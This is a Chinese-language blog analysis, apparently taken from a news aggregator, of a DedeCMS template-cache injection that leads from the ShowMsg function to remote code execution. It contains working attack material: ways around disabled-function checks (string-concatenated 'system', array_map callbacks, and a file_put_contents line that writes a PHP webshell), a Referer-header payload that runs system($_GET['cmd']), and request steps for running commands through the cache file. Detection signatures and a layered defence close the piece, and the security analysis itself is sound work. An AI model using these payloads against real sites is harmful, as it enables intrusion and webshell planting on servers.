当前位置: 首页 > news >正文

DedeCMS 模板缓存注入漏洞:从ShowMsg函数到RCE的完整攻击链剖析

1. DedeCMS模板缓存机制与漏洞背景

DedeCMS作为国内广泛使用的CMS系统,其模板缓存机制原本是为了提升性能而设计。系统会将编译后的模板以.php文件形式存储在data/tplcache目录下,后续请求直接包含这些预编译文件,避免重复解析模板标签。这种机制在正常情况下确实能显著降低服务器负载,但也为安全漏洞埋下了隐患。

我在分析历史漏洞时发现,这类模板注入问题往往源于两个关键点:一是缓存文件内容可控,二是最终会通过include执行。DedeCMS的ShowMsg函数恰好同时满足这两个条件。这个函数本用于显示系统提示信息,比如"操作成功"或"参数错误"这类常见提示,却意外成为了攻击入口。

实际测试环境中,当我们在plus/recommend.php文件触发空aid参数时,系统会调用ShowMsg函数生成错误提示。有趣的是,这个提示页面的跳转地址($gourl参数)默认取自HTTP Referer头——这意味着攻击者可以通过构造恶意Referer来控制部分模板内容。这种设计在开发视角看似合理,却忽略了外部输入直接进入模板编译流程的风险。

2. ShowMsg函数漏洞深度解析

2.1 参数传递链条剖析

漏洞的起点在recommend.php中对ShowMsg的调用:

if(empty($aid)) { ShowMsg("文档ID不能为空!", "-1"); exit(); }

当$gourl参数为-1时,函数会执行这个关键逻辑:

if($gourl == -1) { $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; }

这里就出现了第一个安全隐患:未经验证的Referer值直接进入了模板内容。我通过Burp Suite拦截测试请求,修改Referer头为恶意代码时,发现这些代码最终会被写入缓存文件。更危险的是,系统在写入前仅做了简单的字符串拼接:

$rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";

这里的str_replace只处理了双引号,对其他特殊字符完全没有防护。在实际渗透测试中,我发现可以通过精心构造的JavaScript代码绕过这个过滤。

2.2 模板编译过程的安全缺陷

DedeTemplate类的处理流程存在严重设计缺陷。当调用LoadString方法时,系统会生成缓存文件名:

$hashcode = md5($this->sourceString); $this->cacheFile = $this->cacheDir."/string_".$hashcode.".inc";

这里使用模板内容的MD5值作为文件名看似合理,但实际上意味着相同的恶意payload总会生成相同的缓存文件路径。在攻击场景中,攻击者可以预先计算好文件路径,这对后续的文件包含攻击至关重要。

我特别注意到WriteCache方法中的这个判断逻辑:

if(!file_exists($this->cacheFile) || $this->isCache == false || ...)

这意味着只要缓存文件不存在或需要更新,攻击者注入的代码就会被重新写入。在实际攻击中,可以通过控制请求间隔来确保每次都能触发缓存重建。

3. 绕过安全限制的实战技巧

3.1 CheckDisabledFunctions的规避方法

系统原本设计了CheckDisabledFunctions函数来防御危险操作:

$cfg_disable_funs = 'phpinfo,eval,exec,passthru...';

但该检测存在致命漏洞——仅检查了特定函数名的直接调用。通过测试发现,以下方法可以有效绕过检测:

  1. 使用字符串拼接构造函数名:
$f = 'sys'.'tem'; $f('whoami');
  1. 利用回调函数机制:
array_map('system', ['whoami']);
  1. 通过文件操作间接执行:
file_put_contents('1.php', '<?php system($_GET[1]);?>');

我在实际渗透测试中使用第二种方法成功率最高。因为array_map这类高阶函数在Web应用中很常见,很少被完全禁用,而且可以通过多层封装进一步混淆。

3.2 缓存文件包含的时序攻击

成功写入恶意缓存后,还需要确保文件被正确包含。Display方法的执行流程给我们提供了机会:

public function Display() { $this->WriteCache(); include $this->cacheFile; }

这里存在一个关键的时间窗口:WriteCache执行后立即包含文件。攻击者可以通过以下步骤确保攻击成功:

  1. 首次请求注入恶意代码,创建缓存文件
  2. 立即发起第二次请求触发文件包含
  3. 通过Burp Suite的Repeater模块精确控制请求间隔

在实际测试中,我发现即使服务器负载较高,两个请求间隔在500ms内基本都能保证攻击成功。这种时序攻击不需要猜测文件名,因为第二个请求会自动包含刚生成的缓存文件。

4. 完整攻击链还原与防御方案

4.1 攻击步骤拆解

基于以上分析,完整的攻击链可分为四个阶段:

  1. 信息收集阶段

    • 识别使用DedeCMS的网站(通过favicon.ico、robots.txt等)
    • 寻找调用ShowMsg的功能点(如recommend.php、search.php)
  2. 漏洞探测阶段

    • 发送空aid参数的请求
    • 观察返回信息是否包含模板错误
  3. 载荷注入阶段

    GET /plus/recommend.php HTTP/1.1 Referer: <?php system($_GET['cmd']);?>
  4. 命令执行阶段

    GET /data/tplcache/string_[md5].inc?cmd=whoami HTTP/1.1

在真实环境中,攻击者往往会使用自动化工具完成这些步骤。我建议企业可以通过以下日志特征检测此类攻击:

  • 频繁出现的空aid参数请求
  • Referer头中包含PHP代码片段
  • 短时间内对tplcache目录的访问激增

4.2 立体化防御方案

单纯的补丁更新往往不够,需要多层防御:

  1. 代码层

    • 对ShowMsg函数增加输入过滤:
    $gourl = str_replace(['<?', '?>', "'", '"'], '', $gourl);
  2. 配置层

    • 修改tplcache目录权限为只读
    • 在php.ini中设置open_basedir限制
  3. 架构层

    • 使用WAF拦截特殊字符的Referer
    • 部署RASP方案监控可疑的文件包含行为
  4. 监控层

    • 实时监控tplcache目录的文件变更
    • 建立Webshell检测机制

我在给客户做安全加固时,发现组合使用第2和第4种方案效果最好。特别是对历史遗留系统,在不能立即升级的情况下,通过文件监控可以快速发现攻击行为。

http://www.jsqmd.com/news/563703/

相关文章:

  • Face3D.ai Pro零基础入门:5分钟从照片到可旋转3D人脸模型
  • LLM的“记忆”与“参考书”打架了?深入拆解RAG幻觉的微观机制与调优心得
  • 51单片机项目进阶:给你的交通灯系统加上按键调时和夜间模式(附完整代码)
  • Blender 3MF插件技术解析与进阶指南:从格式原理到工业级应用
  • WAN2.2文生视频效果对比:看看SDXL风格加持下画面有多细腻
  • docker-android KVM支持指南:在Docker中实现硬件加速的Android模拟器
  • 美胸-年美-造相Z-Turbo部署教程:解决Gradio界面中文乱码与字体缺失问题的完整方案
  • 从零开始:基于InsightFace的人脸分析WebUI搭建与使用教程
  • 3分钟解锁外语游戏:XUnity自动翻译器让你无障碍畅玩全球游戏 [特殊字符]
  • cobalt代码覆盖率报告:提升测试质量的关键指标
  • AI 模型蒸馏策略的性能影响
  • Swashbuckle.WebApi源码架构分析:理解文档自动生成的内部原理
  • 手把手教你部署M2FP:快速搭建人体部位识别服务
  • 2026年热门的增氧机/浙江鱼塘增氧机/永磁变频增氧机/鱼塘增氧机可靠供应商推荐 - 品牌宣传支持者
  • 金三银四黄金期,2026春招AI岗位疯抢!年薪百万不是梦?Java开发者这波红利期必须抓住!
  • java篇27-java的逻辑运算符与短路逻辑运算符
  • FanControl终极指南:3步打造Windows系统静音散热方案
  • 实战指南:在CentOS 8上部署与配置BIND DNS权威服务器
  • C++的std--ranges任务窃取
  • Ansys Zemax | 离轴抛物面镜建模中的主光线求解技巧
  • 国内优质槽钢厂家实力推荐榜:方钢、无缝管、无缝钢管、槽钢、流体管、消防管、焊管、螺旋管、螺旋钢管、螺纹钢、角钢选择指南 - 优质品牌商家
  • Phi-4-mini-reasoning Chainlit实战教程:自定义UI+后端vLLM无缝对接
  • three-mesh-bvh 分割策略详解:CENTER、AVERAGE、SAH的选择与对比
  • 终极指南:Alerter滑动关闭功能如何提升Android应用交互体验
  • 手把手教你:5分钟为你的静态网站嵌入AnythingLLM智能聊天机器人
  • seq2seq-couplet错误处理与敏感词过滤:保障服务稳定性的终极指南
  • 5分钟让Figma说中文:设计师本地化实战指南
  • 2026年热门的浙江鱼塘增氧机/浙江水车式增氧机/永磁变频增氧机高口碑品牌推荐 - 品牌宣传支持者
  • 告别理论!用Arduino和PID库5分钟搭建你的第一个平衡装置原型
  • Vue3 自定义 v-model 高级用法:从基础到实战,彻底掌握双向绑定